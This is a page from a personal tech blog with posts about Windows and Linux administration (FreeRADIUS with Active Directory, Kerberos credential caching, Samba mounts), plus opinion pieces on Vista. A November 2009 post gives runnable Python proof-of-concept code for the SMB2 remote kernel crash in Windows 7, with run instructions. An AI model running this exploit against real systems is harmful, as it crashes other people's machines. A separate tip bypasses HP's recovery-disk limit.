Showing posts with label windows. Show all posts
Showing posts with label windows. Show all posts

Thursday, 4 February 2010

How to setup FreeRADIUS to integrate with Active Directory Authentication

I used the tutorial found at http://deployingradius.com/documents/configuration/active_directory.html for FreeRadius Active Directory integration, but modified it slightly to suit my needs, and fixed some errors which I encountered.

You may also want to read how to link Linux to a domain.

Firstly, setup Samba to link your computer to the domain:

Once Samba has been installed on your system, you should edit the smb.conf file, and configure the [global] section to point to your NT server, including hostname and NT domain.
# workgroup = NT-Domain-Name
workgroup = MYDOMAIN
...
# Security mode. Most people will want user level security. See
# security_level.txt for details.
security = ads
# Use password server option only with security = server
password server = nt-server-hostname.company.com
...
realm = realm.company.com
You will also have to edit the /etc/krb5.conf file, to add an entry that points to the Active Directory Server
[realms]
...
realm.company.com = {
kdc = nt-server-hostname.company.com
}
...
Start the Samba and Kerberos servers, and as root join the domain:
$ net join -U Administrator
Enter the administrator password at the prompt.
Next, verify that a user in the domain can be authenticated:
$ wbinfo -a user%password
You should see a number of lines of text, followed by authentication succeeded . The next step is to try the same login with the ntlm_auth program, which is what FreeRADIUS will be using:
$ ntlm_auth --request-nt-key --domain=MYDOMAIN --username=user --password=password
If all goes well, you should see authentication succeeding ( NT_STATUS_OK ). You should also see the NT_KEY output, which is needed in order for FreeRADIUS to perform MS-CHAP authentication.

Next, setup FreeRADIUS with ntlm_auth, and test it:

Configuring FreeRADIUS to use ntlm_auth
Once you have verified that Samba is installed and working correctly, and that the ntlm_auth program works, you can proceed with configuring FreeRADIUS to use ntlm_auth. For initial testing, we will be using the exec module, and will run the exact command line used above.
Create a file /etc/freeradius/modules/ntlm_auth , and put the following text in it:
exec ntlm_auth {
wait = yes
program = "/path/to/ntlm_auth --request-nt-key --domain=MYDOMAIN --username=%{mschap:User-Name} --password=%{User-Password}"
}
This configuration tells the server to run the ntlm_auth program with the user name and password obtained from the Access-Request. You will also have to list ntlm_auth in the authenticate sections of each the /etc/freeradius/sites-enabled/default file, and of the /etc/freeradius/sites-enabled/inner-tunnel file:
authenticate {
...
ntlm_auth
...
}
and add the following text for testing purposes only to the top of the users file.
DEFAULT Auth-Type = ntlm_auth
This configuration says "for all users, if the authenticate method has not been set, set it to use the ntlm_auth program".
Start the server using freeradius -X (you may have to stop the automatic daemon by /etc/init.d/freeradius stop), and wait for the debugging text to stop scrolling by. If all goes well, you should see the following text:
Ready to process requests.
In another terminal window on the same machine, type the following command:
$ radtest user password localhost 0 testing123
If all goes well, you should see the server returning an Access-Accept message, and the window with radtest should print text similar to the following:
rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, length=20
This text means that authentication succeeded. A few lines above this text, the debug output will also show the exact command line used to run ntlm_auth.
Note: You may get this error: radclient: socket: cannot initialize udpfromto: Function not implemented.
This means for some reason it can't resolve the hostname localhost. Change localhost to 127.0.0.1 and it should work.

Then setup MS-CHAP with ntlm_auth:

Configuring FreeRADIUS to use ntlm_auth for MS-CHAPOnce you have the previous steps working, configuring FreeRADIUS to use ntlm_auth for MS-CHAP is simple. First, if you use any other authentication types (such as local UNIX accounts) delete the testing entry used above from the users file, as leaving it in will break other authentication types. Instead, move it to the bottom of the file, so that other authentication types still work.
Then, fine the mschap module in /etc/freeradius/modules/mschap file, and look for the line containing ntlm_auth = . It is commented out by default, and should be uncommented, and edited to be as follows. As before, update the fields in bold to match your local configuration.
ntlm_auth = "/path/to/ntlm_auth --request-nt-key --username=%{mschap:User-Name:-None} --domain=%{%{mschap:NT-Domain}:-MYDOMAIN} --challenge=%{mschap:Challenge:-00} --nt-response=%{mschap:NT-Response:-00}"
Start the server and use a test client to send an MS-CHAP authentication request. The radclient cannot currently be used to send this request, unfortunately, which makes testing a little difficult If everything goes well, you should see the server returning an Access-Accept message as above.

More information:
http://wiki.freeradius.org/Authentication
http://tldp.org/HOWTO/8021X-HOWTO/freeradius.html
http://wiki.freeradius.org/FreeRADIUS_Active_Directory_Integration_HOWTO (Broken)
http://homepages.lu/charlesschwartz/radius/freeRadius_AD_tutorial.pdf
http://ubuntuforums.org/showthread.php?t=151388

Update: Here is my full krb5.conf file (my domain name has been replaced with "domain.local"). Note that this configuration includes many default settings which I haven't bothered to get rid of. All the MIT and standford stuff is unneccessary.


[libdefaults]
default_realm = DOMAIN.LOCAL

# The following krb5.conf variables are only for MIT Kerberos.
krb4_config = /etc/krb.conf
krb4_realms = /etc/krb.realms
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true

# The following encryption type specification will be used by MIT Kerberos
# if uncommented. In general, the defaults in the MIT Kerberos code are
# correct and overriding these specifications only serves to disable new
# encryption types as they are added, creating interoperability problems.
#
# Thie only time when you might need to uncomment these lines and change
# the enctypes is if you have local software that will break on ticket
# caches containing ticket encryption types it doesn't know about (such as
# old versions of Sun Java).

# default_tgs_enctypes = des3-hmac-sha1
# default_tkt_enctypes = des3-hmac-sha1
# permitted_enctypes = des3-hmac-sha1

# The following libdefaults parameters are only for Heimdal Kerberos.
v4_instance_resolve = false
v4_name_convert = {
host = {
rcmd = host
ftp = ftp
}
plain = {
something = something-else
}
}
fcc-mit-ticketflags = true

[realms]
ATHENA.MIT.EDU = {
kdc = kerberos.mit.edu:88
kdc = kerberos-1.mit.edu:88
kdc = kerberos-2.mit.edu:88
admin_server = kerberos.mit.edu
default_domain = mit.edu
}
MEDIA-LAB.MIT.EDU = {
kdc = kerberos.media.mit.edu
admin_server = kerberos.media.mit.edu
}
ZONE.MIT.EDU = {
kdc = casio.mit.edu
kdc = seiko.mit.edu
admin_server = casio.mit.edu
}
MOOF.MIT.EDU = {
kdc = three-headed-dogcow.mit.edu:88
kdc = three-headed-dogcow-1.mit.edu:88
admin_server = three-headed-dogcow.mit.edu
}
CSAIL.MIT.EDU = {
kdc = kerberos-1.csail.mit.edu
kdc = kerberos-2.csail.mit.edu
admin_server = kerberos.csail.mit.edu
default_domain = csail.mit.edu
krb524_server = krb524.csail.mit.edu
}
IHTFP.ORG = {
kdc = kerberos.ihtfp.org
admin_server = kerberos.ihtfp.org
}
GNU.ORG = {
kdc = kerberos.gnu.org
kdc = kerberos-2.gnu.org
kdc = kerberos-3.gnu.org
admin_server = kerberos.gnu.org
}
1TS.ORG = {
kdc = kerberos.1ts.org
admin_server = kerberos.1ts.org
}
GRATUITOUS.ORG = {
kdc = kerberos.gratuitous.org
admin_server = kerberos.gratuitous.org
}
DOOMCOM.ORG = {
kdc = kerberos.doomcom.org
admin_server = kerberos.doomcom.org
}
ANDREW.CMU.EDU = {
kdc = vice28.fs.andrew.cmu.edu
kdc = vice2.fs.andrew.cmu.edu
kdc = vice11.fs.andrew.cmu.edu
kdc = vice12.fs.andrew.cmu.edu
admin_server = vice28.fs.andrew.cmu.edu
default_domain = andrew.cmu.edu
}
CS.CMU.EDU = {
kdc = kerberos.cs.cmu.edu
kdc = kerberos-2.srv.cs.cmu.edu
admin_server = kerberos.cs.cmu.edu
}
DEMENTIA.ORG = {
kdc = kerberos.dementia.org
kdc = kerberos2.dementia.org
admin_server = kerberos.dementia.org
}
DOMAIN.LOCAL = {
kdc = primaryserver.domain.local
admin_server = primaryserver.domain.local
default_domain = DOMAIN.LOCAL
}
stanford.edu = {
kdc = krb5auth1.stanford.edu
kdc = krb5auth2.stanford.edu
kdc = krb5auth3.stanford.edu
master_kdc = krb5auth1.stanford.edu
admin_server = krb5-admin.stanford.edu
default_domain = stanford.edu
}

[domain_realm]
.mit.edu = ATHENA.MIT.EDU
mit.edu = ATHENA.MIT.EDU
.media.mit.edu = MEDIA-LAB.MIT.EDU
media.mit.edu = MEDIA-LAB.MIT.EDU
.csail.mit.edu = CSAIL.MIT.EDU
csail.mit.edu = CSAIL.MIT.EDU
.whoi.edu = ATHENA.MIT.EDU
whoi.edu = ATHENA.MIT.EDU
.stanford.edu = stanford.edu
.slac.stanford.edu = SLAC.STANFORD.EDU
.domain.local = DOMAIN.LOCAL
domain.local = DOMAINL.LOCAL

[login]
krb4_convert = true
krb4_get_tickets = false

Monday, 1 February 2010

How to setup Linux (Ubuntu) Active Directory Authentication with Cached Credentials (Kerberos)

Running Linux, I'm using Kerberos & Samba to authenticate myself using Microsoft Windows Active Directory credentials from our domain controller. I used the guide for Ubuntu to get this setup. However, this would not allow me to login to my computer using AD credentials unless I was connected to the network (and it could access the domain controller). This is how I enabled "credential caching" for offline kerberos / Active Directory authentication on Ubuntu Linux.

I used two tutorials - Ubuntu Community Howto, and Cat in the Red Hat. Basically, since I already had Kerberos authentication working, I just installed the necessary packages:

sudo apt-get install nss-updatedb libnss-db libpam-ccreds

and then edited my /etc/pam.d/common-auth file as per Cat in the Red Hat's instructions.

Listed here is the entire contents of my /etc/pam.d/common-auth file (this allows me to authenticate using first AD credentials, then Unix accounts, then cached credentials):

auth sufficient pam_unix.so nullok try_first_pass
auth requisite pam_succeed_if.so uid >= 500 quiet
auth [default=ignore success=1 service_err=reset] pam_krb5.so use_first_pass
auth [default=die success=done] pam_ccreds.so action=validate use_first_pass
auth sufficient pam_ccreds.so action=store use_first_pass
auth required pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
auth required pam_permit.so
# and here are more per-package modules (the "Additional" block)
# end of pam-auth-update config


Some of the errors I encountered:

Firstly, caching will not work if you have a line like the following:

#Windows Domain Auth
#auth sufficient pam_winbind.so krb5_auth krb5_ccache_type=FILE


This basically skips everything else when a successful kerberos authentication is made. I just commented this line out, and it worked fine.

If you receive an error such as "su: Error in service module" when trying to login, it may be that your file is misconfigured. Check whether /var/cache/.security.db is being created or updated - if it isn't, then most likely PAM isn't reaching the line where pam_ccreds.so is referenced. Check that you don't have any auth sufficient lines where they shouldn't be.

If you're interested, there's also quite a nice GUI for Active Directory integration at Likewise. I haven't used it, but looks like an easy way to setup AD authentication from Ubuntu without editing heaps of config files.

How to connect to MSSQL (ODBC) from Linux PHP

Marcin Gil has an excellent guide about how to setup ODBC drivers on Linux to talk to a Microsoft MSSQl Server running on Windows. This uses the FreeTDS drivers & unixODBC, along with standard PHP/Apache setup.

After following these instructions, I found my database was still giving me the following error:

Warning: odbc_connect() [function.odbc-connect]: SQL error: [unixODBC][FreeTDS][SQL Server]Unable to connect to data source, SQL state S1000 in SQLConnect in /var/www/testdatabase/stdFunctions.php on line 49
Couldn't connect to SQL Server database


This was due to my database code not passing the correct username and password. I had to edit the odbc_connect() line to read as follows:

odbc_connect("database", "DOMAIN\username", "password");

Tuesday, 19 January 2010

How to open Microsoft Word files in VIrtualBox Windows from Ubuntu

There's a great article about how to setup your system to you can double click a file in Ubuntu, and have it open in a Windows machine within VirtualBox. This, along with the seamless display technology built into the latest VirtualBox release, allows some pretty amazing integration scenarios.

Wednesday, 16 December 2009

PHP: How to (Code) to check if a Windows file / folder name is valid.

Two PHP functions to check a string to see if it is a valid windows filename. The first simply checks the string, the second function will replace all occurrences of the invalid characters with a blank.


/**
* Checks to see if a filename is valid for Windows
* Invalid characters are: < > : " / \ | ? *
* Returns false if invalid characters found, else true
*/
function isValidFilename($filename)
{
if(preg_match('/[<>:"\/\\\|?*]/i', $filename))
{
//Invalid characters found
setDebug("Filename '$filename' contained invalid characters.");
return false;
} else {
//No invalid characters, must be valid filename
setDebug("Filename '$filename' contained no invalid characters.");
return true;
}
}

/**
* Removes all invalid characters from a Windows filename.
* Invalid characters are: < > : " / \ | ? *
* Returns the (possibly) modified string
*/
function fixFilename($filename)
{
setDebug("Filename to fix: {$filename}");
$newFilename = preg_replace('/[<>:"\/\\\|?*]/i', "", $filename);
setDebug("Fixed filename: {$newFilename}");
return $newFilename;
}

Wednesday, 9 December 2009

How to create multiple recovery disks for HP Recovery Manager

I recently purchased a HP Pavilion dv7 laptop. Since HP no longer ships recovery disks, and instead uses a recovery partition, my first step was to start the Recovery Manager and create some disks in case I needed to do a system restore later. However, HP only allows you to make one set of disks (thanks to IP laws) - and a set of disks had already been created by somebody. So I was pretty stuck.

However, there is a way to trick the program and create two (or more) sets of disks. There is a file named HPCD.sys located in both C:\WINDOWS\SMINST and the root of your recovery partition (in my case, E:\). Simply rename or delete these files (I renamed to HPCD.sys.bak) and HP Recovery Manager will quite happily create another set for you.

NOTE: In order to rename these files, you will have to go to Windows Explorer, press Alt+T to bring up the tools menu, click "Options". Go to the View tab, and select "Show hidden files and folders" and uncheck "Hide extensions for known file types" and "Hide system files and folders". Otherwise you won't be able to see the file!
You may also have to run Windows Explorer as Administrator - bring up the Start menu, right click Windows Explorer and choose Run As Administrator.

Sources:
http://www.troublefixers.com/create-more-than-one-set-of-recovery-cd-on-hp-laptop-computer/
http://forum.notebookreview.com/showthread.php?t=129029

Thursday, 19 November 2009

FULL CODE - Windows 7 Zero Day Exploit Proof of Concept Python Code

Here is the full code for the Windows 7 Zero Day Exploit involving SMB that was first posted here. Exploitation of this vulnerability occurs when a user attempts to browse to Windows Share hosted on the malicious server. On Windows 7, the DoS (denial of service) will occur as soon as you type ‘\\\' in the search box.

My code has fixes to ensure it will run first time. Simply copy and paste the code below into a file named "win7crash.py", and then make sure samba services are stopped ("sudo /etc/init.d/samba stop") and run "sudo python ./win7crash.py".

NOTE: Make sure the line def handle(self): is indented one space. The lines underneath this should be indented two spaces, and the last two lines not indented at all.

#!/bin/python
# This Python file uses the following encoding: utf-8
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

Wednesday, 21 October 2009

How to Mount Samba Share at Boot / Startup Ubuntu 9.04 Jaunty

To mount a Samba share to be mounted when a Linux system comes up after reboot edit the /etc/fstab file and put entry as follows for your Windows/Samba share:
//ntserver/share /mnt/samba smbfs username=username,password=password 0 0
For example, if you want to mount a share called //ntserver/docs then you need to write the following entry in your /etc/fstab file:
//ntserver/docs /mnt/samba smbfs username=docsadm,password=D1Y4x9sw 0 0
Where,
  • //ntserver/docs: Windows 2003/NT/Samba share name
  • /mnt/samba: Local mount point (you may need to create this directory first)
  • smbfs: File system type (samba file system)
  • username=docsadm,password=D1Y4x9sw: Share username and password
Note: This will work for all Linux systems, not just Ubuntu Jaunty. You may encounter an error like the following:

$sudo mount /shared
mount: wrong fs type, bad option, bad superblock on //beta/shared,
       missing codepage or helper program, or other error
       (for several filesystems (e.g. nfs, cifs) you might
       need a /sbin/mount. helper program)
       In some cases useful info is found in syslog - try
       dmesg | tail  or so

In this case, smbfs might not be installed. For ubuntu, run:
sudo apt-get install smbfs
and then try mounting again.

Source: http://www.cyberciti.biz/faq/configure-a-system-to-automount-a-samba-share-with-etcfstab/

Tuesday, 25 August 2009

iPerf network throughput tester

Use iPerf for testing network throughput / testing network traffic. Also, jPerf provides a GUI interface and windows iperf version.
iPerf and jPerf are both available at: http://sourceforge.net/projects/iperf/

Change directory in windows cmd

Windows cmd.exe command line won't change directory won't cd

cd /d

I am in my c: drive (c:\tools) and do a:
C:\tools>cd d:\music
Strangly, I am still in the c: drive. Only if I do a d:, I see that I changed to the music directory under d:
C:\tools>d:

D:\music>
In order to change both, the drive and the path, the /d flag must be used:
D:\music>cd /d c:\bin

C:\bin>
Source: http://www.adp-gmbh.ch/win/cmd/cd.html

Sunday, 2 August 2009

"All Squash" in Samba FIle Server

NFS has the ability to "root squash" or "all squash" - map authenticated users to alternate user ids, for purposes of security. This makes it easy to setup an NFS public folder where all users share the same permissions.

Samba on the other hand, does not have such capabilities. However, you can achieve similar functionality by configuring a "guest" user, which maps to a specific local user id on the server.

Simply open /etc/samba/smb.conf and enable the following line:
guest account = [mapped user id]
That's all there is to it! Now any anonymous client can access the shared folders, and they will automatically have the same access rights as if they were logged into the server locally, with the username specified in the smb.conf file.

Wednesday, 18 June 2008

Wine 1.0 Released

Finally! After many years of waiting, Wine 1.0 is released! Although perfect compatability with all Windows software has not yet been achieved, many current titles work well, including Photoshop CS2 and Power Point Viewer 2003. Between this and Mono, Linux users have quite good Windows support.

Saturday, 22 December 2007

Linux GUI difficulties

sad tux - sad penguin with tears rolling down cheekSometimes you encounter problems with the Linux user interface that you just don't get on Windows or the Mac. Today I was downloading my photos with digiKam, when the process suddenly came to a halt. The reason? "digiKam could not import the file 'dsc.......'". Not really a very good explanation. I tried restarting digiKam, and re-plugging the camera. All to no avail.

As it turns out, the problem was simply a full disk. On Windows, you would have had countless annoying messages saying "You are running out of free disk space on drive C:" long before the disk was full, but on Linux the program just stops functioning all together. You're not even told that the disk is full, and there are no easy tools to empty your trash and clean up unused files like there are on Windows. It's a pity when your favourite operating system lets you down like this, but I have to admit that most users are not likely to think of typing "df" at the Konsole terminal when their program stops working. Let's hope KDE4 solves this full disk problem.

Wednesday, 24 October 2007

Device driver update causes Vista activation to expire

James Bannan has discovered that updating the drivers for major system components such as hard drives and graphics cards can cause your Vista system to deactivate and become unusable. Microsoft has confirmed the problem, and it seems there is no way to fix it other than give Microsoft Help and Support a call to reactivate your system.

Windows Vista's activation scheme hasn't changed much since XP. Basically, if you change a certain number of components in your system's hardware configuration, Windows will deactivate as an anti-piracy measure. The problem is, Vista counts driver updates as hardware changes. This can cause your system to deactivate unexpectedly, and without warning.

This is a very serious problem with Windows, especially for mission-critical configurations. If someone unknowingly updates the graphics card drivers to make the system run faster or use a new feature, the whole system could fail. Then the company or individual relies on Microsoft being available on the phone and ready to reactivate quickly. Although the chance of Microsoft's support center being unavailable is small, this does present a serious problem of being "reliant on Microsoft", not just for your initial installation, but for reactivation at any time you feel like upgrading your software.

Wednesday, 17 October 2007

'Vixta' Linux distro mimics Vista's look and feel


Here's an interesting distro - just like China's Red Flag Linux emulates the look of Windows XP, a new Linux distribution called 'Vixta' seeks to imitate Vista's look, right down to the start menu and transparent titlebars.

There has been much controversy over the issue of whether or not Linux should copy Vista's look and feel. I think that although it doesn't need to (as the Linux KDE GUI is in my view better than Vista's), there's nothing wrong with some of Vista's good design ideas turning up in Linux as well. KDE4 is actually deliberately trying not to "copy" Vista, but they are still turning up with some similar features by innovation.

I have yet to get my hands on a copy of Vixta, but it looks like it could be worth trying. Now I can tell my friends "Hey, look, I got Vista!" and maybe even "Well, if you want I could give you a copy too...."!

Leopard to Leap later this month

APCmag.com has just posted an article announcing that Apple's latest version of the Macintosh operating system is planned for release on the 26 October. It looks like it will be a strong beast, improving on the strengths of the previous versions while adding in a few new features of it's own.

Apple's Steve Jobs has taken advantage of Windows Vista's confusing multi-version release, saying that this is the 'best upgrade' Apple had ever released, and "everyone gets the ‘Ultimate’ version. The pricing is much better than Vista as well, with the single version costing just $158.

The new version of the Mac will have much the same hardware requirements as Vista, recommending a minimum of 512MB RAM with an 867Mhz or faster processor.

Overall this release is another improvement to the already excellent operating system. It certainly doesn't look like anybody will be deserting the Mac for Windows anytime soon.... :) Here's looking forward to the release.

Saturday, 29 September 2007

The Windows Blues (again)

This week certainly hasn't been one to improve my impression of Windows. One of my friends requested that I get a system running with Windows 98/ME for them, as they had some old games that wouldn't run on Windows Vista (surprise surprise!). A simple matter, isn't it? Seems not...

Firstly, I had a system already running with Fedora 5/Windows 98 dual boot. "Aha, just give her this system," thought I. But it wouldn't boot. The BIOS loaded, but trying to start LILO failed (all that showed on the screen was "LI"). Okay, so it's a bootloader problem. Why not just install GRUB? That's what I tried to do. And after trying several rescue systems, GRUB installed successfully, detecting both Fedora and Windows. Reboot, choose Windows in the bootloader, and up pops a list of errors - Could not load registry, HIMEM.SYS missing, Unidentified error, etc. Back to the old drawing board.

So I tried to reinstall Windows. But the Windows install system told be that there were operating systems on the computer that setup couldn't upgrade, and that I should start Windows on the computer and then load setup. Only problem is, I can't start Windows.

Well, to cut a long story short, I still haven't got Windows running. After just about every thing possible failed, HDDs, OSs, the lot, I haven't got a single thing to show for it. Funny thing is, every single version of Linux that I installed on that computer worked perfectly! Not a problem at all. Something fishy is going on here for sure.

For now, I'm going to tell my friend to either run the games on WINE, or buy a new version. But this is a matter of pride as well. Let me tell you, Windoze, this battle isn't over yet....

Monday, 23 April 2007

HOWTO: Make Linux look like Windows

A lot of people I know are comfortable with Windows, but don't want to spend lot's of money buying it. They also don't want to learn a new interface, like GNOME. Caminoix has an article about how to make Linux look like Windows, which I am sure would help lot's of people to re-create a realistic Windows Experience!

Tuesday, 6 February 2007

Vista. WOW?

Vista. The WOW starts now. Stunning. Entertaining. Dependable. Worth the wait.

These are some of the headlines I saw in my junk-mail catalogues this week. When Windows Vista is 5 years late, has only half of it's planned features and costs more than any version ever sold, all people can say is WOW? This is certainly an example of Microsoft's strong marketing position. They create a new product, and BOOM!: even though the product is at a lower grade than many of the alternatives, it takes off in the market place. Of course, the shops also make a profit out of selling Windows Vista, so they will want to promote it simply for the sake of it's income.

But is Vista really worth the wait? I don't think so. One of the main things Vista is promoted for is better security, but quite a few zero-day exploits have already been found, including a fundamental flaw in the speech-recognition technology. Another much-touted feature is the better graphics: Aero, vector-based icons, etc. But no reasonably priced computer now days can actually run Aero smoothly; you need to pay $2000+ for a good Vista experience!

And then there are games. According to independent testing, Vista actually runs games slower then XP. That means that Vista really isn't a good option for your PC at the moment unless you're willing to fork out thousands of dollars upgrading your system

So Vista isn't that good after all. But I bet that lot's of people will get it anyway. The uninformed buyer will have it recommended to them by the salesman, a new computer will come with Vista pre-installed, and a lot of people will get it just for the graphics.

Overall, I believe Vista will be a success. Even though the competition is better than it in many ways (linux & mac also run on current systems well), Windows is simply the operating system that everyone uses. Vista is certainly better than XP, and this is the reason that I think most people will upgrade for.